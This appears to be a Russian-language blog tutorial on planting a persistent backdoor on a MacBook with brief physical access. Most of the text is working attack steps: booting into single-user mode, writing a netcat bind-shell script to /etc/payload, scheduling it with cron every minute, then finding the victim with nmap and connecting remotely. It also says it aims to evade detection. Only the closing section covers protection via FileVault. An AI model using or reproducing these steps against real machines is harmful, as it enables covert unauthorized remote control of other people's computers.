27 апреля, 2024

Как настроить бэкдор на чьем угодно MacBook’е

Содержание:

Холивары о том, какая операционная система наиболее безопасна — macOS или Windows — вечная тема. Большинство скажут, что macOS более безопасен, но мы продемонстрируем, как сделать бэкдор на MacBook менее чем за две минуты, а затем просто поддерживать обратный шелл с помощью инструментов, уже встроенных в macOS.

Windows 10 определенно не является эталоном безопасности, но в этой и последующих статьях мы хотим развенчать распространенный миф относительно того, что macOS более безопасна.

К нашему удивлению, macOS не использует шифрование на жестком диске FileVault (хотя она может попросить включить его в процессе проведения чистой установки или обновления MacOS) и по умолчанию не использует брандмауэр. Те, кто его включил, обычно в итоге отключают его из-за того, что снижается скорость записи данных на диск или же из-за того, что шифрование сильно грузит процессор. С другой стороны, отсутствие шифрования жесткого диска позволит злоумышленникам без пароля получить полный доступ к файлам на MacBook.

«Жить на подножном корму» и поддерживать автономность работы

Существует несколько полезных нагрузок, RAT и бэкдоров, которые можно развернуть против MacBook. Для простоты мы будем использовать технику, названную «жить на подножном корму», которая призывает пентестеров использовать столько ресурсов, сколько есть на скомпрометированном устройстве во время пост-эксплуатационных атак. А это означает, что вы не устанавливаете дополнительные полезные нагрузки, которые активно пытаются избежать попадания в поле зрения антивирусов. Вместо этого вы используете приложения, уже установленные в системе, которые не будут помечены как вредоносные.

Netcat (называемый в консоли nc) — это сетевая утилита, которая может использоваться для создания TCP или UDP-соединений. Список его функций включает сканирование портов, передачу файлов и прослушивание портов для создания бэкдоров в операционных системах и сетях. Netcat — это один из тех инструментов, уже встроенных в macOS, которые будут использоваться во время этой атаки.

Cron — это планировщик задач, который можно найти в Unix-подобных операционных системах, таких как Debian, Ubuntu и macOS. Задачи Cron часто используются системными администраторами для автоматизации повторяющихся задач, таких как создание еженедельных резервных копий или выполнение конкретной задачи всякий раз при перезагрузке ОС. Чтобы гарантировать постоянную доступность бэкдор netcat, будет создано задание cron, которое будет создавать нового netcat-слушателя всякий раз после того, как его закроют.

Эта атака была протестирована на MacBook Air с использованием macOS версии 10.13.4 с последней файловой системой Apple APFS.

Шаг 1. Включите однопользовательский режим

Чтобы начать эту атаку, будет применен однопользовательский режим (одна из особенностей macOS). Этот режим был разработан для устранения неполадок, отладки ошибок загрузки и устранения проблем с дисками, не считая многих других административных задач. К сожалению, в этот режим очень легко попасть, благодаря чему он подвергается постоянной атаке со стороны хакеров.

Читать также:  Как настроить Homebrew для установки и обновления инструментов с открытым исходным кодом на Mac OS (Часть 5)

Чтобы получить доступ к однопользовательскому режиму, включите целевой MacBook, одновременно удерживая кнопки Command + S на клавиатуре. Продолжайте удерживать обе клавиши, пока на экране не появится белый текст.

Через несколько секунд хакер получит доступ ко всем файлам на MacBook и терминалу root’а — никаких паролей не требуется. Вот и все. Однако, если целевое устройство действительно использует шифрование FileVault, то загрузка с помощью Command + S будет запрашивать пароль для входа в систему. Если это так, то это устройство неуязвимо для этой атаки.

Шаг 2. Проверьте диск

Находясь в однопользовательском терминале, сначала используйте fsck, утилиту для проверки файловых систем macOS на наличие неисправностей. Выполнение этой команды не используется для компрометации устройства, но ее нельзя пропускать. В нашем случае выполнение команды fsck завершилось менее чем за 60 секунд, при использовании на твердотельном SSD-диске емкостью 250 ГБ.

/sbin/fsck -fy

Шаг 3. Монтирование жесткого диска

Жесткий диск необходимо примонтировать с правами на чтение и запись, что позволит злоумышленникам переносить вредоносные файлы на ноутбук. Это можно сделать с помощью команды ниже. Имея возможность записывать данные на диск, можно создать netcat-бэкдор.

/sbin/mount –uw /

Шаг 4. Создание полезной нагрузки Netcat

Уменьшение устойчивости к взлому забэкдоренных устройств, по мере их перемещения между Wi-Fi сетям в разных частях мира, выходит за рамки этой статьи, поэтому следите за обновлениями. А пока мы покажем, как подключиться к MacBook’у с установленным бэкдором в общей сети Wi-Fi.

Для простоты мы сохраним постоянно выполняющийся скрипт в каталоге /etc/ и назовем файл payload. В реальных ситуациях атаки было бы целесообразно спрятать файл в менее очевидном каталоге с менее очевидным именем.

Для создания файла payload можно использовать редактор Nano с помощью команды ниже:

nano /etc/payload

Введите следующий BASH-скрипт в терминал с открытым nano, затем сохраните файл и выйдите, нажав Ctrl + X, затем Y, а потом Enter. Скрипт придется вводить вручную в однопользовательском режиме, поэтому мы старались максимально его упростить. Этот скрипт проделывает несколько вещей, поэтому мы опишем его действие для читателей, которые не знакомы с BASH.

#!/bin/bash
n=$(ps aux | grep -o [1]234)

if [[ $n = «» ]]; then
mkfifo f
nc -l 0.0.0.0 1234 < f | /bin/bash -i > f 2>&1
fi

Netcat-слушатель откроет порт 1234 на устройстве с macOS. Первая строка (n=$(ps aux | grep -o [1]234)) создает переменную n, которая проверяет, открыт ли порт 1234. Обнаружение открытого порта достигается с помощью команды ps, инструмента, используемого для просмотра запущенных фоновых процессов.

Читать также:  Как использовать SQL-инъекции для выполнения команд ОС и для получения шелла

Следующая строка (if [[ $n = «» ]]; then) является началом оператора if, который говорит, что если переменная n (порт 1234) не найдена, то mkfifo — инструмент, используемый для создания «именованного туннеля», создаст файл с именем f. Имя файла здесь абсолютно произвольно и для простоты используется название «f».

Следующей командой mkfifo является команда netcat (nc -l 0.0.0.0 1234 < f | /bin/bash -i > f 2>&1), которая открывает порт 1234 на каждом доступном интерфейсе (0.0.0.0), и использует файл f для туннелирования команд терминала на забэкдоренное устройство и обратно.

Шаг 5. Использование Cron для выполнения полезной нагрузки

Со скриптом netcat мы покончили. Далее для планирования выполнения BASH-скрипта (файл payload) каждые 60 секунд мы будем использовать crontab, функцию cron. Для этого можно использовать команду ниже:

env EDITOR=nano crontab -e

Откроется новый терминал с nano. Введите в nano эту команду, затем сохраните и закройте nano:

* * * * * /etc/payload

Если вам нужно использовать задания cron с интервалом, отличным от 60 секунд, то почитайте статью Ole Michelsen об использовании crontab в macOS (ранее Mac OS X).

Шаг 6. Повышение прав

Последний шаг — нужно установить максимальные права на файл payload, используя следующую команду chmod:

сhmod 777 /etc/payload

Шаг 7. Завершение работы Mac

Когда вы все закончите, введите команду ниже в консоли, чтобы выключить ноутбук:

shutdown -h now

Вот и все, что касается создания бэкдоров для устройств с macOS. Когда владелец ноутбука его включит, netcat-слушатель будет выполняться каждые 60 секунд (если он еще не был запущен) и это позволит хакеру получить доступ к устройству в той же Wi-Fi-сети.

Жертвы этой атаки, которые не просматривают открытые порты и фоновые службы на предмет подозрительной активности, не смогут обнаружить этот бэкдор. В следующих статьях мы покажем, как улучшить этот скрипт и обфусцировать его сигнатуру чтобы избежать обнаружения, так что следите за обновлениями.

Шаг 8. Подключитесь к Mac’у с бэкдором

С любого компьютера в сети для поиска IP-адреса устройства на маршрутизаторе можно использовать Nmap.

nmap -p1234,65534 -O 192.168.0.1/24

Для определения операционной системы (флаг -O) требуется, по крайней мере, один открытый и один закрытый порт, поэтому один или несколько рандомных портов должны быть включены в эту команду. В нашем примере netcat был настроен на прослушивание 1234-го порта, так что номер этого порта был включен в эту команду. Если в сети есть несколько устройств Apple, то макбук с бэкдором будет единственным устройством с портом 1234 в «открытом» состоянии.

Читать также:  Что делать, если вы потеряли iPhone: полная инструкция

После определения IP-адреса устройства с бэкдором подключитесь к нему с помощью команды netcat. Сделать это довольно просто:

nc 192.168.0.65 1234

Шаг 9. Исправьте неправильную конфигурацию

Как было сказано ранее, когда дело доходит до пост-эксплуатации, то лучше «жить на подножном корму» и для дальнейшей компрометации целевого устройства использовать те программы и инструменты,которые вы найдете в операционной системе,.

После установления соединения с netcat-слушателем шелл, скорее всего, будет предельно примитивным и, скорее всего, он не будет знать, где находятся программы в ОС. Например, использование ifconfig для просмотра интерфейсов вывалится с ошибкой выполнения «ifconfig: command not found».

Чтобы исправить это, используйте приведенную ниже команду source:

source /etc/profile

Использование ifconfig теперь работает так, как ожидалось.

Шаг 10. Определение забэкдоренного устройства

Теперь можно начать просмотр программного и аппаратного обеспечения. Примером этого может быть использование встроенной команды system_profiler от Apple для сбора информации для полезных нагрузок и эксплоитов. Команда uname также может использоваться для просмотра информации о версии ядра.

Следите за будущими статьями, где мы расскажем, как вернуть устойчивость к атакам уже взломанных MacBook’ов, когда они перемещаются между Wi-Fi сетями из любой точки мира, как обфусцировать netcat в целях уклонения от обнаружения и как создавать и использовать продвинутые полнофункциональные полезные нагрузки.

Как защитить себя от атак с помощью однопользовательского режима

Если вы не хотите, чтобы хакер проделал все это на вашем компьютере, то ответ прост: включите FileVault. Полноценное шифрование Apple помогает предотвратить несанкционированный доступ к информации на жестких дисках и усложняет получение доступа к однопользовательскому режиму.

FileVault можно включить, перейдя в «Системные настройки», затем «Безопасность и конфиденциальность» и кликнуть на «Включить FileVault» (вам может потребоваться сначала разблокировать настройки). По завершении этой процедуры MacBook перезагрузится и будет требовать пароль для разблокировки компьютера при каждом запуске Mac. Ни одна учетная запись не сможет логиниться автоматически, а для доступа к однопользовательскому режиму также потребуется пароль.

Вы также не должны оставлять ваш компьютер без присмотра, особенно в тех местах, где хакер может получить к нему физический доступ.

Добавить комментарий